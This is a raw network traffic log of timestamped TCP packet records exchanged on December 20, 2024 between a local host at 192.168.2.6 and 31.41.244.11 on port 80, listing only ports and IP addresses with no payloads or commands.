Dec 20, 2024 17:43:19.333224058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.333295107 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.333357096 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.335711002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.335778952 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.335846901 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.335894108 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.338079929 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.338236094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.338274002 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.338377953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.340528011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.340605021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.340647936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.340708971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.342951059 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.343027115 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.343156099 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.343211889 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.345407963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.345475912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.345575094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.345619917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.348043919 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.348112106 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.348124981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.348186016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.350506067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.350567102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.350569010 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.350605965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.352809906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.352881908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.353014946 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.353074074 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.355226994 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.355285883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.355429888 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.355474949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.357646942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.357701063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.357738972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.357784033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.360058069 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.360124111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.360141039 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.360184908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.362515926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.362587929 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.362679005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.362729073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.364965916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.365025997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.365108967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.365151882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.367371082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.367434978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.368339062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.368391037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.369184017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.369446993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.369806051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.369852066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.370935917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.371010065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.371718884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.371776104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.372744083 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.372837067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.372908115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.372977972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.374524117 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.374587059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.374671936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.374716997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.507791042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.507846117 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.507978916 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.508594036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.508646011 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.508672953 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.508713007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.510360003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.510509014 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.510561943 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.512132883 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.512192965 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.512373924 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.513915062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.514094114 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.514161110 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.515752077 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.515806913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.516132116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.516189098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.517549038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.517642021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.517692089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.519236088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.519323111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.519357920 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.519397020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.521059036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.521136045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.521202087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.521261930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.522866011 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.522912979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.522975922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.523017883 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.524600029 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.524650097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.524856091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.524900913 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.526395082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.526469946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.526555061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.526596069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.528182030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.528234005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.528423071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.528461933 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.529954910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.529999971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.530143976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.530183077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.531759977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.531811953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.531814098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.531847954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.533605099 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.533653021 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.533797026 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.533832073 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.535278082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.535321951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.535571098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.535608053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.537167072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.537210941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.537247896 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.537286997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.538851023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.538892031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.539112091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.539148092 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.540710926 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.540759087 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.541060925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.541277885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.542473078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.542521000 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.542634964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.542675972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.544209003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.544254065 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.544275045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.544307947 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.545990944 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.546036005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.546190977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.546267033 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.547818899 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.547883034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.548161983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.548335075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.549694061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.549741030 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.550049067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.550092936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.551449060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.551506042 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.551574945 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.551611900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.553147078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.553229094 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.553297997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.553333044 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.554907084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.554955959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.555486917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.555531979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.556685925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.556855917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.557252884 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.557291031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.558480978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.558527946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.558785915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.558839083 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.560332060 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.560379028 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.560396910 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.560456991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.562009096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.562057018 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.562156916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.562199116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.563822985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.563869953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.564683914 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.564728022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.565660954 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.565702915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.565850973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.565891981 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.567434072 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.567477942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.567558050 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.567599058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.569196939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.569241047 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.569299936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.569335938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.571074009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.571115971 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.571185112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.571224928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.572685003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.572726965 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.573085070 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.573126078 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.574501991 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.574548006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.574630022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.574683905 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.576265097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.576314926 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.576433897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.576469898 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.578047037 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.578094959 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.578151941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.578203917 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.579833031 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.579884052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.580183983 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.580235958 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.581619978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.581672907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.581928968 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.581974983 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.583415985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.583467960 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.583472013 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.583511114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.585154057 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.585202932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.585475922 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.585519075 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.699923038 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.699969053 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.700011969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.700054884 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.700705051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.700803995 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.700814009 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.700895071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.702272892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.702334881 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.702368021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.702421904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.703860998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.703917027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.704113007 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.704161882 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.705467939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.705538034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.705570936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.705621004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.707098961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.707158089 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.707185030 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.707231998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.708674908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.708758116 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.709014893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.709064960 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.710189104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.710247040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.710295916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.710346937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.711766005 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.711824894 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.711846113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.711891890 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.713315010 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.713372946 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.713444948 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.713506937 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.714776993 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.714833975 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.715142012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.715190887 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.716300964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.716372013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.716444016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.716492891 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.717844963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.717900991 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.718048096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.718096972 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.719361067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.719418049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.719460964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.719504118 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.720879078 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.720933914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.721116066 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.721167088 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.722407103 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.722455978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.722502947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.722549915 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.723938942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.723987103 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.724170923 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.724212885 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.725512981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.725560904 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.725732088 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.725791931 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.727067947 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.727118015 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.727762938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.727811098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.728641987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.728689909 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.728846073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.728897095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.730120897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.730170012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.730314016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.730362892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.731597900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.731647968 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.731847048 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.731900930 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:19.733196974 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:19.733239889 CET	49732	80	192.168.2.6	31.41.244.11
